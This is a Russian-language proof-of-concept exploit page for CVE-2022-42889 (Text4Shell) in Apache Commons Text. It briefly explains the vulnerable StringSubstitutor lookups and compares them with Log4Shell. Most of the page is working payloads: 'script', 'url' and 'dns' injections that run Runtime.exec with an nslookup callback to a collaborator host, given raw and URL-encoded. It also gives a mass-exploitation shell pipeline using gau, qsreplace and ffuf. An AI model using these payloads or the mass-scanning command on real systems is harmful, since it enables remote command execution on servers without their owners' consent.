
PoC-эксплойт для CVE-2022-42889 (Text4Shell) в Apache Commons Text, со скриптами ручной и массовой эксплуатации с использованием подстановок script, URL и DNS.
Apache commons text — CVE-2022-42889 Text4Shell — эксплойт PoC.
CVE-2022-42889 затрагивает версии Apache Commons Text с 1.5 по 1.9. Патч выпущен в версии Commons Text 1.10.
Уязвимость сравнивают с Log4Shell, поскольку это уязвимость на уровне библиотеки с открытым исходным кодом, которая может затронуть множество программных приложений, использующих соответствующий объект.
Однако первоначальный анализ показывает, что такое сравнение неудачно. По своей природе в отличие от Log4Shell, данная уязвимость редко позволяет приложению обрабатывать недоверенные потенциально вредоносные входные данные с помощью уязвимого компонента Commons Text.
Уязвимость существует в объекте-интерполяторе StringSubstitutor. Интерполятор создаётся методом StringSubstitutor.createInterpolator() и позволяет выполнять строковый поиск, определённый в StringLookupFactory. Это можно использовать, передав строку ${prefix:name}, где prefix — вышеупомянутый поиск. Использование поисковых запросов «script», «dns» или «url» позволяет сконструированной строке выполнить произвольные сценарии при передаче интерполятору.
Хотя этот конкретный фрагмент кода вряд ли существует в производственных приложениях, опасность заключается в том, что в некоторых приложениях переменная pocstring может контролироваться злоумышленником. В этом смысле уязвимость напоминает Log4Shell. Однако интерполятор StringSubstitutor используется значительно реже, чем уязвимая подстановка строк в Log4j, а природа такого интерполятора означает, что вероятность попадания сконструированных входных данных в уязвимый объект ниже, чем в случае простого взаимодействия с такой сконструированной строкой, как в Log4Shell.
script:javascript
Замените значение параметра на полезную нагрузку:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace Спасибо @tomnomnom